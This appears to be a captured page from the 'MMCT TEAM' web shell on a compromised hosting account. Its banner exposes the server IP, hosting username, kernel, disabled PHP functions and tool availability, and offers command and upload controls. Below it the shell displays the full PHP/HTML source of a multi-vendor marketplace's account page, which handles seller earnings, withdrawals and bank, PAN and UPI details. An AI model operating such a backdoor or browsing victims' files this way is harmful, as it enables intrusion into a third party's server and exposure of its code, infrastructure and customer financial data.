MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/.nvm/../public_html/lohri/user/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/.nvm/../public_html/lohri/user/account.php
<?php

session_start();
include "../config/config.php";
include "../config/db.php";

// Require login
if (empty($_SESSION['user_id'])) {
    header("Location: ../user/login.php");
    exit();
}
$user_id = (int)$_SESSION['user_id'];

// --- Handle delete only ---
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $action = $_POST['action'] ?? '';
    if ($action === 'delete_address') {
        $address_id = (int)($_POST['address_id'] ?? 0);
        if ($address_id > 0) {
            $sql = "DELETE FROM user_addresses WHERE id = ? AND user_id = ?";
            if ($stmt = $con->prepare($sql)) {
                $stmt->bind_param("ii", $address_id, $user_id);
                if ($stmt->execute()) {
                    $success_message = "Address deleted successfully!";
                } else {
                    $error_message = "Error deleting address. Please try again.";
                }
                $stmt->close();
            } else {
                $error_message = "Database error. Please try again.";
                error_log("Delete prepare error: " . $con->error);
            }
        } else {
            $error_message = "Invalid address.";
        }
    }
}

// --- Fetch addresses (default first) ---
$addresses = [];
if ($stmt = $con->prepare("SELECT * FROM user_addresses WHERE user_id = ? ORDER BY is_default DESC, id DESC")) {
    $stmt->bind_param("i", $user_id);
    $stmt->execute();
    $res = $stmt->get_result();
    $addresses = $res->fetch_all(MYSQLI_ASSOC);
    $stmt->close();
} else {
    error_log("Addresses query prepare error: " . $con->error);
}
$address_count = count($addresses);

// --- Fetch user (best-effort across possible tables) ---
$user = null;
$tables = ['tbl_user', 'user', 'customers', 'customer', 'tbl_user'];
foreach ($tables as $t) {
    if ($stmt = $con->prepare("SELECT * FROM {$t} WHERE uid = ? OR uid = ? LIMIT 1")) {
        $stmt->bind_param("ii", $user_id, $user_id);
        if ($stmt->execute()) {
            $u = $stmt->get_result()->fetch_assoc();
            if ($u) { $user = $u; $stmt->close(); break; }
        }
        $stmt->close();
    }
}

// Derive display name
$user_name = '';
if ($user) {
    if (!empty($user['first_name']) || !empty($user['last_name'])) {
        $user_name = trim(($user['first_name'] ?? '') . ' ' . ($user['last_name'] ?? ''));
    } elseif (!empty($user['fname']) || !empty($user['lname'])) {
        $user_name = trim(($user['fname'] ?? '') . ' ' . ($user['lname'] ?? ''));
    } elseif (!empty($user['full_name'])) {
        $user_name = $user['full_name'];
    } elseif (!empty($user['name'])) {
        $user_name = $user['name'];
    } elseif (!empty($user['username'])) {
        $user_name = $user['username'];
    }
}
// fallback from first address
if (!$user_name && !empty($addresses)) {
    $user_name = trim(($addresses[0]['first_name'] ?? '') . ' ' . ($addresses[0]['last_name'] ?? ''));
}

// --- Total orders count (as buyer) ---
$order_count = 0;
if ($stmt = $con->prepare("SELECT COUNT(*) AS c FROM orders WHERE user_id = ?")) {
    $stmt->bind_param("i", $user_id);
    $stmt->execute();
    $res = $stmt->get_result();
    if ($row = $res->fetch_assoc()) {
        $order_count = (int)$row['c'];
    }
    $stmt->close();
}

// ========================================
// VENDOR STATISTICS (NEW FUNCTIONALITY)
// ========================================

// 1. Total Products Listed by User
$total_products = 0;
if ($stmt = $con->prepare("SELECT COUNT(*) as total FROM products WHERE user_id = ?")) {
    $stmt->bind_param("i", $user_id);
    $stmt->execute();
    $result = $stmt->get_result();
    if ($row = $result->fetch_assoc()) {
        $total_products = (int)$row['total'];
    }
    $stmt->close();
}

// 2. Total Orders Received (orders containing user's products)
$total_orders_received = 0;
if ($stmt = $con->prepare("
    SELECT COUNT(DISTINCT o.order_id) as total 
    FROM orders o
    INNER JOIN order_items oi ON o.order_id = oi.order_id
    INNER JOIN products p ON oi.product_id = p.pid
    WHERE p.user_id = ?
")) {
    $stmt->bind_param("i", $user_id);
    $stmt->execute();
    $result = $stmt->get_result();
    if ($row = $result->fetch_assoc()) {
        $total_orders_received = (int)$row['total'];
    }
    $stmt->close();
}

// 3. Total Earnings (from completed/paid orders)
$total_earnings = 0;
if ($stmt = $con->prepare("
    SELECT COALESCE(SUM(oi.quantity * p.vendor_price), 0) as total_earnings
    FROM order_items oi
    INNER JOIN orders o ON oi.order_id = o.order_id
    INNER JOIN products p ON oi.product_id = p.pid
    WHERE p.user_id = ? AND o.payment_status = 'completed'
")) {
    $stmt->bind_param("i", $user_id);
    $stmt->execute();
    $result = $stmt->get_result();
    if ($row = $result->fetch_assoc()) {
        $total_earnings = (float)$row['total_earnings'];
    }
    $stmt->close();
}

// 4. Check if payment has been processed
$payment_processed = false;
if ($stmt = $con->prepare("
    SELECT status FROM withdrawal_requests 
    WHERE user_id = ? AND status = 'paid' 
    ORDER BY processed_date DESC LIMIT 1
")) {
    $stmt->bind_param("i", $user_id);
    $stmt->execute();
    $result = $stmt->get_result();
    if ($result->num_rows > 0) {
        $payment_processed = true;
    }
    $stmt->close();
}

// ========================================
// WITHDRAWAL REQUEST CHECK
// ========================================
$withdrawal_check_query = "
    SELECT status, request_date 
    FROM withdrawal_requests 
    WHERE user_id = ? 
    AND (status = 'pending' OR (status = 'paid' AND request_date > DATE_SUB(NOW(), INTERVAL 7 DAY)))
    ORDER BY request_date DESC 
    LIMIT 1
";

$withdrawal_check_stmt = $con->prepare($withdrawal_check_query);
if (!$withdrawal_check_stmt) {
    die("Database error: " . $con->error);
}

$withdrawal_check_stmt->bind_param("i", $user_id);
$withdrawal_check_stmt->execute();
$withdrawal_check_result = $withdrawal_check_stmt->get_result();
$pending_withdrawal = $withdrawal_check_result->fetch_assoc();
$withdrawal_check_stmt->close();
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>TDS Multi-Vendor Marketplace — Account</title>

  <!-- CSS -->
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"/>
  <link href="../css/style.css" rel="stylesheet"/>
  <link href="css/style.css" rel="stylesheet"/>
  <link href="https://cdnjs.cloudflare.com/ajax/libs/Swiper/11.0.5/swiper-bundle.min.css" rel="stylesheet"/>
  <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" rel="stylesheet"/>
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" rel="stylesheet"/>
<style>
      @media (min-width: 1200px) and (max-width: 1599px) {
  
  .insta-highlight-section{
          padding: 0px 20px 150px !important;
  }
  
}
/* ============================================
   ACCOUNT PAGE - CLEAN RESPONSIVE CSS
   ============================================ */
        .info-section {
            background: var(--bg-light);
            border-radius: 12px;
            padding: 40px;
            margin-bottom: 40px;
        }

        .info-section h3 {
            font-size: 24px;
            font-weight: 700;
            margin-bottom: 20px;
        }

        .info-row {
            display: flex;
            padding: 15px 0;
            border-bottom: 1px solid var(--border-color);
        }

        .info-row:last-child {
            border-bottom: none;
        }

        .info-label {
            font-weight: 500;
            width: 200px;
            color: var(--text-dark);
        }

        .info-value {
            color: var(--text-light);
            flex: 1;
        }

.page-content {
    margin-bottom: 130px;
}



/* Page Title */
.page-title {
    display: flex;
    justify-content: space-between;
    align-items: center;
    margin-bottom: 30px;
}

.page-title h1 {
    font-size: 27px;
    color: #000;
    font-weight: 500;
}

.logout-btn {
    background: #f2f2f2;
    color: #000;
    padding: 12px 20px;
    font-size: 14px;
    border-radius: 7px;
    text-decoration: none;
    border: none;
    transition: all 0.3s;
}

.logout-btn:hover {
    background: #e9ecef;
    color: #000;
}

/* Alerts */
.alert {
    border-radius: 8px;
    border: none;
    padding: 12px 16px;
    margin-bottom: 20px;
}

/* Impact Stats Section */
.stats-grid {
    display: grid;
    grid-template-columns: repeat(3, 1fr);
    gap: 3rem;
    margin-bottom: 2rem;
}

.stat-item {
    display: flex;
    flex-direction: column;
    align-items: center;
    text-align: center;
}

.stat-icon {
    width: 64px;
    height: 64px;
    margin-bottom: 1rem;
}

.stat-icon svg {
    width: 100%;
    height: 100%;
    stroke: #000;
    stroke-width: 3;
    fill: none;
    stroke-linecap: round;
    stroke-linejoin: round;
}

.stat-value {
  font-size: 36px;
    font-weight: 500;
    margin-bottom: 5px;
    margin-bottom: 0.25rem;
}

.stat-label {
 
        font-size: 14px;
    color: var(--text-light);
    text-transform: uppercase;
    letter-spacing: 0.5px;
}

.stat-sublabel {
    font-size: 0.875rem;
    color: #666;
}

/* Impact Link */
.impact-link {
    display: flex;
    justify-content: flex-end;
    margin-bottom: 3rem;
}

.impact-btn {
    display: flex;
    align-items: center;
    gap: 0.5rem;
    font-weight: 500;
    background: none;
    border: none;
    cursor: pointer;
    font-size: 1rem;
    transition: gap 0.2s;
    text-decoration: none;
    color: #000;
}

.impact-btn:hover {
    gap: 0.75rem;
    color: #000;
}

/* Menu Grid */
.menu-grid {
    display: grid;
    grid-template-columns: repeat(2, 1fr);
    gap: 0.6rem;
    margin-bottom: 3rem;
}

.menu-item {
    display: flex;
    align-items: center;
    justify-content: space-between;
    padding: 0.9rem;
    border: 1px solid #e5e5e5;
    background: white;
    cursor: pointer;
    transition: all 0.2s;
    text-decoration: none;
    color: #000;
}

.menu-item:hover {
    border-color: #999;
    box-shadow: 0 1px 3px rgba(0,0,0,0.1);
    color: #000;
}

.menu-item:hover .arrow {
    transform: translateX(4px);
}

.menu-label {
    font-weight: 500;
    font-size: 1rem;
}

.arrow {
    transition: transform 0.2s;
}

.arrow-icon {
    width: 20px;
    height: 20px;
}

/* Logout Container */
.logout-container {
    display: flex;
    justify-content: flex-end;
    margin-bottom: 3rem;
}

.logout-btn-yellow {
    background-color: #f2f2f2;
    color: #000;
    font-weight: 500;
    padding: 0.875rem 2rem;
    border: none;
    cursor: pointer;
    font-size: 0.875rem;
    letter-spacing: 0.5px;
    transition: background-color 0.2s;
    text-decoration: none;
    display: inline-block;
}

.logout-btn-yellow:hover {
    background-color: black;
    color: #fff;
}

/* ============================================
   MOBILE RESPONSIVE STYLES
   ============================================ */

/* Tablet and Mobile */
@media (max-width: 768px) {
    .page-content {
        margin-bottom: 80px;
    }

    .container {
        padding-left: 15px;
        padding-right: 15px;
    }

    /* Page Title */
    .page-title {
        flex-direction: column;
        align-items: flex-start;
        gap: 15px;
    }

    .page-title h1 {
        font-size: 24px;
    }

    .logout-btn {
        width: 100%;
        text-align: center;
        padding: 12px 20px;
        font-size: 14px;
    }

    /* Breadcrumb */


    /* Impact Stats */
    .stats-grid {
        grid-template-columns: repeat(2, 1fr);
        gap: 2rem;
    }

    .stat-icon {
        width: 50px;
        height: 50px;
    }

    .stat-value {
        font-size: 2rem;
    }

    .stat-label,
    .stat-sublabel {
        font-size: 0.75rem;
    }

    /* Menu Grid */
    .menu-grid {
        grid-template-columns: 1fr;
        gap: 1rem;
    }

    .menu-item {
        padding: 1.25rem;
    }

    .menu-label {
        font-size: 1rem;
    }

    .logout-container {
        margin-bottom: 2rem;
    }

    .logout-btn-yellow {
        width: 100%;
        text-align: center;
    }
}

/* Extra Small Devices */
@media (max-width: 480px) {
     .menu-grid{
        display:flex !important;
        flex-wrap:wrap !important;
        gap:10px !important;
        grid-template-columns:unset !important;
    }
.impact-link{
    margin-bottom: 2rem !important;
}
    .menu-grid .menu-item{
        width:calc(50% - 10px) !important; /* two items in one row */
    }
      .stats-grid{
        display:flex !important;
        flex-wrap:wrap !important;
        gap:20px !important;
        grid-template-columns:unset !important;
    }

    .stats-grid .stat-item{
        width:calc(50% - 10px);
    }
    .request-with{
        font-size: 12px;
        padding: 10px 22px;
    }

    /* third item full width */
    .stats-grid .stat-item:nth-child(3){
        width:100% !important;
    }
    .menu-grid{
        margin-bottom: 1.3rem !important;
    }
    .page-content {
        margin-bottom: 60px;
    }

    .page-title h1 {
        font-size: 24px;
    }

    .logout-btn {
        padding: 11px 18px;
        font-size: 13px;
    }

    .stats-grid {
        grid-template-columns: 1fr;
        gap: 1.5rem;
    }

    .stat-icon {
        width: 45px;
        height: 45px;
    }

    .stat-value {
        font-size: 30px;
    }

    .menu-item {
        padding: 1rem;
    }

    .menu-label {
        font-size: 0.9rem;
    }

    .logout-btn-yellow {
        padding: 0.75rem 1.5rem;
        font-size: 0.8rem;
    }
}

/* Tablet Landscape */
@media (min-width: 769px) and (max-width: 1024px) {
    .stats-grid {
        gap: 2.5rem;
    }

    .menu-grid {
        gap: 1.25rem;
    }
}

/* Small Tablets Portrait */
@media (min-width: 481px) and (max-width: 768px) {
    .page-title {
        flex-direction: row;
        align-items: center;
    }

    .logout-btn {
        width: auto;
    }

    .stats-grid {
        grid-template-columns: repeat(3, 1fr);
        gap: 1.5rem;
    }
}

    .breadcrumb-item.active{
        color:black;
        font-size: 16px;
    }
    .breadcrumb {
    background: transparent;
    padding: 0;
    margin: 0 0 30px 0;
}
@media(max-width:576px){
  #viewDetailsModal .col-5{
    width:100% !important;
  }
  #viewDetailsModal .col-7{
    width:100% !important;
    margin-top:4px;
  }
  .cf-sm-10{
          padding-left: 10px !important;
    padding-right: 10px !important;
  }
}
.modal-header{
    padding-bottom: 0px !important;
}
</style>
</head>
<body>

<?php include "../ui/nav.php"; ?>

<div class="page-content">
  <div class="container mt-5">

    <!-- Breadcrumb -->
    
      <nav aria-label="breadcrumb">
            <ol class="breadcrumb">
                <li class="breadcrumb-item"><a href="index.php">Home</a></li>
              
                <li class="breadcrumb-item active" aria-current="page">Account</li>
            </ol>
        </nav>
   

    <!-- Page Title -->
    <div class="page-title">
      <h1>Welcome to Your Account</h1>
      <!--<a href="../ui/logout.php" class="logout-btn">Log Out</a>-->
    </div>

    <!-- Messages -->
    <?php if (!empty($success_message)): ?>
      <div class="alert alert-success alert-dismissible fade show" role="alert">
        <?= htmlspecialchars($success_message) ?>
        <button type="button" class="btn-close" data-bs-dismiss="alert"></button>
      </div>
    <?php endif; ?>

    <?php if (!empty($error_message)): ?>
      <div class="alert alert-danger alert-dismissible fade show" role="alert">
        <?= htmlspecialchars($error_message) ?>
        <button type="button" class="btn-close" data-bs-dismiss="alert"></button>
      </div>
    <?php endif; ?>

    <!-- Impact Stats -->
    <div class="stats-grid">
      <!-- Products Listed -->
      <div class="stat-item">
        <div class="stat-icon">
          <svg viewBox="0 0 100 100">
            <path d="M20 30 L30 20 L70 20 L80 30 L80 85 L20 85 Z M30 20 L30 40 L70 40 L70 20"/>
          </svg>
        </div>
        <div class="stat-value"><?= $total_products ?></div>
        <div class="stat-label">Products Listed</div>
       
      </div>

      <!-- Orders Received -->
      <div class="stat-item">
        <div class="stat-icon">
          <svg viewBox="0 0 100 100">
            <path d="M50 10 C50 10 20 45 20 65 C20 80 33 90 50 90 C67 90 80 80 80 65 C80 45 50 10 50 10 Z"/>
          </svg>
        </div>
        <div class="stat-value"><?= $total_orders_received ?></div>
        <div class="stat-label">Orders Received</div>
       
      </div>

      <!-- Total Earnings -->
      <!-- Total Earnings with Withdraw Button -->
<div class="stat-item">
    <div class="stat-icon">
        <svg viewBox="0 0 100 100">
            <path d="M50 85 L50 45 M50 45 C50 35 42 28 50 20 M50 45 C50 35 58 28 50 20 M35 55 C35 55 30 58 30 63 C30 68 33 71 37 71 C41 71 44 68 44 63 M56 55 C56 55 61 58 61 63 C61 68 58 71 54 71 C50 71 47 68 47 63"/>
        </svg>
    </div>
    <div class="stat-value">₹<?= number_format($total_earnings, 0) ?></div>
    <div class="stat-label">Total Earnings</div>
    
    <!-- WITHDRAW BUTTON -->
    <?php if ($pending_withdrawal && $pending_withdrawal['status'] === 'pending'): ?>
        <!-- Pending Withdrawal -->
        <button class="btn btn-sm btn-warning mt-3" disabled style="opacity: 0.7; cursor: not-allowed;">
            <i class="fas fa-clock me-2"></i>WITHDRAWAL PENDING
        </button>
    <?php elseif ($pending_withdrawal && $pending_withdrawal['status'] === 'paid'): ?>
        <!-- Recently Paid -->
        <button class="btn btn-sm btn-success mt-3" disabled style="opacity: 0.7; cursor: not-allowed;">
            <i class="fas fa-check-circle me-2"></i>PAYMENT PROCESSED
        </button>
    <?php elseif ($total_earnings >= 500): ?>
        <!-- Can Request Withdrawal -->
        <button onclick="requestWithdrawal()" class="btn btn-sm btn-dark mt-3 request-with" style="font-weight: 500;">
            <i class="fas fa-wallet me-2"></i>REQUEST WITHDRAWAL
        </button>
    <?php else: ?>
        <!-- Minimum Not Met -->
        <button class="btn btn-sm btn-secondary mt-3" disabled style="opacity: 0.5; cursor: not-allowed;">
            <i class="fas fa-lock me-2"></i>MINIMUM ₹500 REQUIRED
        </button>
    <?php endif; ?>
</div>
    </div>

    <!-- My Impact Link -->
    <div class="impact-link">
      <a href="myimpact" class="impact-btn">
        My impact 
        <svg class="arrow-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
          <path d="M9 18l6-6-6-6"/>
        </svg>
      </a>
    </div>

    <!-- Menu Grid -->
<!-- Menu Grid -->
<div class="menu-grid">
  <a href="../user/orders.php" class="menu-item">
    <span class="menu-label">Orders</span>
    <svg class="arrow arrow-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
      <path d="M9 18l6-6-6-6"/>
    </svg>
  </a>

  <a href="../user/wishlist.php" class="menu-item">
    <span class="menu-label">Wishlist</span>
    <svg class="arrow arrow-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
      <path d="M9 18l6-6-6-6"/>
    </svg>
  </a>

  <a href="../user/my-products.php" class="menu-item">
    <span class="menu-label">My Products</span>
    <svg class="arrow arrow-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
      <path d="M9 18l6-6-6-6"/>
    </svg>
  </a>

  <a href="../user/my-statistics.php" class="menu-item">
    <span class="menu-label">My Statistics</span>
    <svg class="arrow arrow-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
      <path d="M9 18l6-6-6-6"/>
    </svg>
  </a>

  <a href="../user/shop.php?offers=true" class="menu-item">
    <span class="menu-label">My offers</span>
    <svg class="arrow arrow-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
      <path d="M9 18l6-6-6-6"/>
    </svg>
  </a>

  <a href="../user/address.php" class="menu-item">
    <span class="menu-label">Address</span>
    <svg class="arrow arrow-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
      <path d="M9 18l6-6-6-6"/>
    </svg>
  </a>

  <a href="../user/personal_details.php" class="menu-item">
    <span class="menu-label">Personal details</span>
    <svg class="arrow arrow-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
      <path d="M9 18l6-6-6-6"/>
    </svg>
  </a>

  <a href="../user/contact.php" class="menu-item">
    <span class="menu-label">Contact us</span>
    <svg class="arrow arrow-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
      <path d="M9 18l6-6-6-6"/>
    </svg>
  </a>
<!-- Account Details Link -->
<a href="#" class="menu-item" data-bs-toggle="modal" data-bs-target="#viewDetailsModal" onclick="event.preventDefault();">
  <span class="menu-label">Account Details</span>
  <svg class="arrow arrow-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
    <path d="M9 18l6-6-6-6"/>
  </svg>
</a>
  <a href="../user/add-product.php" class="menu-item">
    <span class="menu-label">Add Products</span>
    <svg class="arrow arrow-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
      <path d="M9 18l6-6-6-6"/>
    </svg>
  </a>
</div>

    <!-- Logout Button -->
    <div class="logout-container">
      <a href="../ui/logout.php" class="logout-btn-yellow">LOGOUT</a>
    </div>

  </div>
</div>

  <div class="modal fade" id="viewDetailsModal" tabindex="-1">
  <div class="modal-dialog modal-lg modal-dialog-scrollable">
    <div class="modal-content">

      <div class="modal-header border-0">
        <h5 class="modal-title fw-bold">Account Details</h5>
        <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
      </div>

      <div class="modal-body">
        <div class="cf-sm-10 " >

          <div class="row py-3 border-bottom" style="padding:20px 0">
            <div class="col-5 fw-semibold text-dark">Account ID</div>
            <div class="col-7 text-muted">ID-<?= $user['uid'] ?></div>
          </div>

          <div class="row py-3 border-bottom">
            <div class="col-5 fw-semibold text-dark">Name</div>
            <div class="col-7 text-muted"><?= htmlspecialchars($user['fname']) ?></div>
          </div>

          <div class="row py-3 border-bottom">
            <div class="col-5 fw-semibold text-dark">Email</div>
            <div class="col-7 text-muted"><?= htmlspecialchars($user['email']) ?></div>
          </div>

          <div class="row py-3 border-bottom">
            <div class="col-5 fw-semibold text-dark">Phone</div>
            <div class="col-7 text-muted"><?= htmlspecialchars($user['phone'] ?? 'Not provided') ?></div>
          </div>

          <div class="row py-3 border-bottom">
            <div class="col-5 fw-semibold text-dark">Company Name</div>
            <div class="col-7 text-muted"><?= htmlspecialchars($user['company_name'] ?? 'Not provided') ?></div>
          </div>

          <div class="row py-3 border-bottom">
            <div class="col-5 fw-semibold text-dark">Business Type</div>
            <div class="col-7 text-muted"><?= htmlspecialchars($user['business_type'] ?? 'Not provided') ?></div>
          </div>

          <div class="row py-3 border-bottom">
            <div class="col-5 fw-semibold text-dark">Address</div>
            <div class="col-7 text-muted"><?= nl2br(htmlspecialchars($user['address'] ?? 'Not provided')) ?></div>
          </div>

          <div class="row py-3 border-bottom">
            <div class="col-5 fw-semibold text-dark">PAN Number</div>
            <div class="col-7 text-muted"><?= htmlspecialchars($user['pan_num'] ?? 'Not provided') ?></div>
          </div>

          <div class="row py-3 border-bottom">
            <div class="col-5 fw-semibold text-dark">GST Number</div>
            <div class="col-7 text-muted"><?= htmlspecialchars($user['gst_number'] ?? 'Not provided') ?></div>
          </div>

          <div class="row py-3 border-bottom">
            <div class="col-5 fw-semibold text-dark">Account Holder Name</div>
            <div class="col-7 text-muted"><?= htmlspecialchars($user['account_holder_name'] ?? 'Not provided') ?></div>
          </div>

          <div class="row py-3 border-bottom">
            <div class="col-5 fw-semibold text-dark">Bank Account Number</div>
            <div class="col-7 text-muted">
              <?php 
                if (!empty($user['bank_account_number'])) {
                    $account = $user['bank_account_number'];
                    $masked = str_repeat('*', strlen($account)-4) . substr($account, -4);
                    echo htmlspecialchars($masked);
                } else {
                    echo 'Not provided';
                }
              ?>
            </div>
          </div>

          <div class="row py-3 border-bottom">
            <div class="col-5 fw-semibold text-dark">IFSC Code</div>
            <div class="col-7 text-muted"><?= htmlspecialchars($user['ifsc_code'] ?? 'Not provided') ?></div>
          </div>

          <div class="row py-3 border-bottom">
            <div class="col-5 fw-semibold text-dark">Bank Name</div>
            <div class="col-7 text-muted"><?= htmlspecialchars($user['bank_name'] ?? 'Not provided') ?></div>
          </div>

          <div class="row py-3 border-bottom">
            <div class="col-5 fw-semibold text-dark">Branch Name</div>
            <div class="col-7 text-muted"><?= htmlspecialchars($user['branch_name'] ?? 'Not provided') ?></div>
          </div>

          <div class="row py-3 border-bottom">
            <div class="col-5 fw-semibold text-dark">UPI ID</div>
            <div class="col-7 text-muted"><?= htmlspecialchars($user['upi_id'] ?? 'Not provided') ?></div>
          </div>

          <div class="row py-2">
            <div class="col-5 fw-semibold text-dark">Payment Status</div>
            <div class="col-7">
              <?php if (isset($user['payment_verified']) && $user['payment_verified'] === 'yes'): ?>
                <span class="badge bg-success"><i class="fas fa-check-circle"></i> Verified</span>
              <?php else: ?>
                <span class="badge bg-warning text-dark"><i class="fas fa-clock"></i> Pending Verification</span>
              <?php endif; ?>
            </div>
          </div>

        </div>
      </div>

    </div>
  </div>
</div>


<?php include "../ui/footer.php"; ?>

<!-- JS -->
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/Swiper/11.0.5/swiper-bundle.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<script>
// Withdrawal Request Function
function requestWithdrawal() {
    Swal.fire({
        title: 'Request Withdrawal',
        html: `
            <p>Your current earnings: <strong>₹<?php echo number_format($total_earnings, 2); ?></strong></p>
            <p class="text-muted small">Admin will review your request and process the payment to your registered bank account.</p>
        `,
        icon: 'question',
        showCancelButton: true,
        confirmButtonColor: '#28a745',
        cancelButtonColor: '#6c757d',
        confirmButtonText: 'Yes, Request Withdrawal',
        cancelButtonText: 'Cancel'
    }).then((result) => {
        if (result.isConfirmed) {
            // Show loading
            Swal.fire({
                title: 'Processing Request',
                text: 'Please wait...',
                icon: 'info',
                allowOutsideClick: false,
                showConfirmButton: false,
                didOpen: () => {
                    Swal.showLoading();
                }
            });
            
            // Send AJAX request
            $.ajax({
                url: '../vendor_admin/withdrawal_request.php',
                type: 'POST',
                data: {
                    user_id: <?php echo $user_id; ?>,
                    amount: <?php echo $total_earnings; ?>,
                    action: 'request_withdrawal'
                },
                dataType: 'json',
                success: function(response) {
                    if (response.success) {
                        Swal.fire({
                            icon: 'success',
                            title: 'Request Submitted!',
                            text: 'Your withdrawal request has been sent to admin for approval.',
                            confirmButtonColor: '#28a745'
                        }).then(() => {
                            location.reload();
                        });
                    } else {
                        Swal.fire({
                            icon: 'error',
                            title: 'Request Failed',
                            text: response.message,
                            confirmButtonColor: '#dc3545'
                        });
                    }
                },
                error: function() {
                    Swal.fire({
                        icon: 'error',
                        title: 'Network Error',
                        text: 'Unable to submit request. Please try again.',
                        confirmButtonColor: '#dc3545'
                    });
                }
            });
        }
    });
}
</script>
</body>
</html>

MMCT - 2023